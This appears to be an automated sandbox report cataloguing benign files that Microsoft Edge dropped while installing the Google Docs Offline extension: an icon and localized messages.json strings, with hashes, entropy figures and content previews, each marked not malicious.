Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
